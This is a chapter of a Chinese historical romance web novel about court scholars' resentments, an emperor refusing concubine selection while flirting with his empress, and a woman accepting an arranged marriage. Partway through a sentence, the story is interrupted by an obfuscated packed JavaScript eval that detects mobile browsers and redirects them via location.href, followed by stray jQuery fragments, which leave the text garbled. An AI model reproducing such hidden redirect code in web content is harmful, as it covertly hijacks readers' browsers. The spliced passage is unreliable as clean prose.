琼林宴后，新科的进士们都被安排进了翰林院历练。而这其中最受瞩目的就是身为新科状元的张贺。


    他不仅才华横溢、贯通古今，还记忆超群，拥有过目不忘的本领。


    因此，不过十数日，他就得了上峰薛道清的赏识。


    旁人还在辛苦地整理史料时，他就已经被提拔成侍读学士，有了给天子讲经读史的机会。


    见他成了御前红人，同科的进士们无不心生艳羡。


    这日傍晚，同僚们相约酒肆，张贺与陆濯却双双缺席。


    酒过三巡后便有人刻薄讥嘲：“一个是天赋异禀的状元郎，一个是出身士族的榜眼，自是不屑与我们这些人为伍。”


    “刘兄，你这话我可不爱听。什么叫我们这些人？在座的各位，谁不是十年寒窗、天资过人？他张贺、陆濯凭什么看不起咱们？”


    “人与人之间终究是不一样的，到了这天子脚下，没有好身世，再有才华也是枉然……”


    说着，这刘姓之人打了个酒嗝，而后醉醺醺地扫了一眼坐在角落里沉默不语的柴蕴之。


    “我承认张贺是有几分才华，可普天之下才华横溢的岂止他一人？远的不说，就说柴兄吧，他在青州那也是解元呐。论才情相貌，他就算比不过张贺，那也比陆濯强得多吧，可还不是只得了一个探花？”


    他话音刚落，便有无数道目光投向了角落。


    柴蕴之虽低眉敛目强作镇定，却还是感受到了那些交织着怜悯和奚落的眼神。


    “咱们辛辛苦苦地整理史料，可露脸的机会全给了张贺，将来若是有了成书，到了论功行赏的时候，也没咱们的份。”


    姓刘的越说越悲凉，连眼眶都被红了，只能颓丧地灌下一杯酒，借以掩饰心中的不忿和悲怆。


    “刘兄怎就如此悲观？岂不闻太白之言，天生我材必有用？”


    “你说天生我材必有用，可若没有伯乐提携，咱们便只能骈死于槽里之间。”


    见众人不语，他又苦笑着说道：“在这上京城，没有根基的人，一辈子也出不了头。”


    “别说这些丧气话了，来来来，快将酒满上，咱们痛痛快快地喝一场，今夜定要不醉不归！”


    此话一出，众人纷纷举杯相和，无人在意的角落里，柴蕴之握着杯沿的手却悄然紧了几分。


    ***


    自参加了钱静怡的笄礼之后，晏宁又先后出现在了好几家宴席之上，而这些人家无一例外，都是当朝权贵，且家中已有秀女入选。


    没了厚此薄彼的优待，钱家的势头自然有所回落。


    可眼看着初选的日期越来越近，晏宁心中的忧虑也越发深厚。


    这日傍晚，她亲手做了一碗甜汤，想送去给萧御暖暖身子，可才到长宁殿外，就听到了一阵激烈的争执。


    “秀女进宫既为充实□□、绵延子嗣，又为联络勋贵、平衡朝野，如若骤然废止，恐朝野生乱、将士离心啊！”


    “朝堂之安，在于吏治清明、赏罚有度；边境之稳，在于甲兵锋锐、粮饷充足；若所有人都只倚重裙带关系而不思进取，大周如何能开疆拓土，统一塞北？”


    “便是废除选秀，后宫之中也不能只有皇后一人，还望皇上以血脉和社稷为重。”


    “皇后自会为朕诞下皇子，尔等无需多虑。”


    “可仅凭皇后一人之力，如何能壮大萧氏血脉？”


    “朕要的是一个能振兴大周、心怀天下的太子，而不是一群庸碌无为，只会争权夺利的草包。”


    “皇上……”


    “朕心意已决，尔等勿再多言。朕还有奏折要批，若没有别的事，你们就先回去吧。”


    漫长的沉默后，殿内传来一阵沉闷的应声：“微臣告退！”


    紧闭的殿门很快就被内侍从里面推开，紧接着，几位穿着红色朝服的大臣一脸阴郁地走了出来。


    撞见晏宁的那一刻，他们眸光一滞，不约而同地躬身行礼，眼底却没了从前的敬意。


    “参见皇后娘娘。”


    “免礼。”


    “谢皇后娘娘！”站直身子后，他们便纷纷昂首离去，只有余盛在经过晏宁身侧时停了片刻。


    “还望娘娘能好好劝劝皇上。”


    说罢，他朝晏宁拱了拱手，而后神色凝重地阔步而去。


    望着屋内透出的那一抹烛光，晏宁郁郁地敛下了眼眸。


    她进屋时，萧御正垂眸翻阅着奏折，低垂的眉眼下同样浮动着深深的郁色。


    “皇上……”她轻轻唤了一声，随后将食盒放在了御案上，“臣妾给您带了甜汤……”


    她小心翼翼地取出白玉瓷盅，而后平稳地放到了他手边，神色温柔地催促道：“汤还热着，您快尝尝！”


    萧御眸光一敛，顺手将奏折丢到一边，抬眸看向晏宁却蓦然皱起了眉心：“怎么连件披风也没穿？”


    说着，他突然握住晏宁垂落的手，眼底闪过一丝怜惜，“在外面站了很久吧？”


    因为站得太久，连手心里都透着一股寒凉。


    他眸光一凝，扭头看向随侍在侧的秦仲：“去拿朕的披风来。”


    “是。”等秦仲领命而去后，他便拉着晏宁在身旁坐下。


    “方才的话你都听见了？”


    对上他洞悉一切的眼神，晏宁沉默地点了点头，眸中浮满了忧虑。


    “你不必忧心，朕有的是应付他们的法子。”


    “可你阻断了他们的进献之路，他们又岂肯善罢甘休？”


    望着她忧愁的眼眸，萧御唇角一弯，淡笑着抚上她紧皱的眉头，“他们自然不会善罢甘休，可朕也不是任人揉捏的软柿子。放心吧，朕自有对策。”


    说罢，他勾了勾唇角，溢出一抹松快的笑，“再聊下去，这甜汤可就凉了。你既来了，不如就辛苦些喂朕喝下吧？”


    迎着他调笑的目光，晏宁面上一紧，有些不自在地垂下了眼眸，却并未推拒，而是真的舀了一勺喂到了他的嘴边。


    见她如此配合，萧御反倒是愣了一下，不过他很快就回过神来，咧出一抹明媚的笑，低头含住了瓷白的羹勺。


    瞥见他眼底的笑意，晏宁脸颊一热，瞬间浮起了两团红晕。


    起初她并未多想，直到看见他得逞的笑容，才惊觉此举有多么暧昧。


    为了掩饰心中的羞赧，她不得不硬着头皮打破这份尴尬的旖旎。


    “皇上觉得如何？”


    “很甜。”


    闻言，晏宁眉心一松，暗暗舒了口气：“你喜欢便好。”


    “你亲手喂的，朕自然喜欢。”


    耳畔再度传来他低磁的嗓音，晏宁心口一热，面颊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031629|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    越发殷红滚烫。


    “你好像很容易害羞？”


    说话的间隙，他已经夺过羹勺，依葫芦画瓢地舀了一口喂到她嘴边。


    晏宁眸光一怔，当即愣在原地，脸颊涨的通红。


    见状，萧御也不着急，反倒耐着性子温声诱哄：“尝尝……”


    漫长的僵持后，她终是在他鼓励的眼神中张口含住了羹勺。


    香甜的滋味在舌尖漫开，顺着喉咙一路往下，连胃里都充斥着甜蜜和温暖。


    “甜吗？”


    对上他含笑的眼神，晏宁眸光一颤，羞赧地点了点头。


    看着她羞涩的模样，萧御唇角一弯，忍不住伸手抚上她涨红的脸颊，果然摸到了一阵烫人的热度。


    下一刻，他便忍俊不禁地轻笑出声。


    “你笑什么？”


    似是不甘于被他嘲笑，晏宁羞恼地抬起头来，眼底闪过一丝不忿。


    “朕在想，你究竟要害羞到什么时候。”


    听着他低沉的调笑，晏宁连耳根都羞得发烫，正要开口反驳时，身后却传来了秦仲细长的嗓音。


    “皇上，梁姑娘到了。”


    闻言，晏宁心头一紧，迅速敛下面上的臊意，在梁意柔进门的前一刻，挪到了另一张软椅上坐下。


    似是没想到晏宁会在，跨入殿门后，梁意柔的眼中闪过一丝怔愣，但很快就平复下来，麻木地屈膝行礼。


    “叩见皇上、皇后。”


    “免礼。”


    “谢皇上、皇后。”起身后，她眸光一阖，沉默且拘谨地站着，早已不似从前那般热络。


    “你考虑的怎么样了？”


    没有任何看似关切的铺垫，一张口就是开门见山的询问。可就算不喜欢她，也不必表现得这般冷淡吧？


    梁意柔心口一颤，瞬间涌出了一股悲凉。


    “我根本就没得选，不是吗？”


    母亲也好，兄长也罢，身边的每一个人都迫切地希望她成婚。而她别说抗衡了，就连反对的资格也没有。


    “你若不愿意，没人会逼你。”


    他说着不会逼她，但放手何尝不是一种变相的要挟？


    就像母亲，字字句句都是为了她，可心底最在乎的还不是梁家？


    梁意柔苦笑着抬眸，眼底覆满了讥诮。


    或许早在家族败落的那一刻，她就注定要失去抉择的权利。


    反正也嫁不到喜欢的人了，那么嫁给谁又有什么区别呢？


    漫长的沉默后，她终于作出了回答：“我嫁。”


    在得到她肯定的答复后，沉默的人却成了萧御。


    “你想好了？”


    “想好了。”


    早在被传召入宫的那一刻，她心里就有了答案。


    如果这一生注定不能幸福，那么至少也要成全母亲，成全梁家，也成全曾敬爱信赖的他。


    “赐婚的圣旨很快就会送到梁家。日后若是有任何难处，都可以来寻朕和皇后。”


    此时此刻，他淡漠的眼眸里终于浮现了一丝久违的温情。


    而她纵然心性高傲，也不得不审时度势，牢牢地抓住这份怜惜。


    “好。”


    应声的一刹那，她的喉间溢满了酸楚。


    无论有多不情愿，她也总要走向那避无可避的宿命。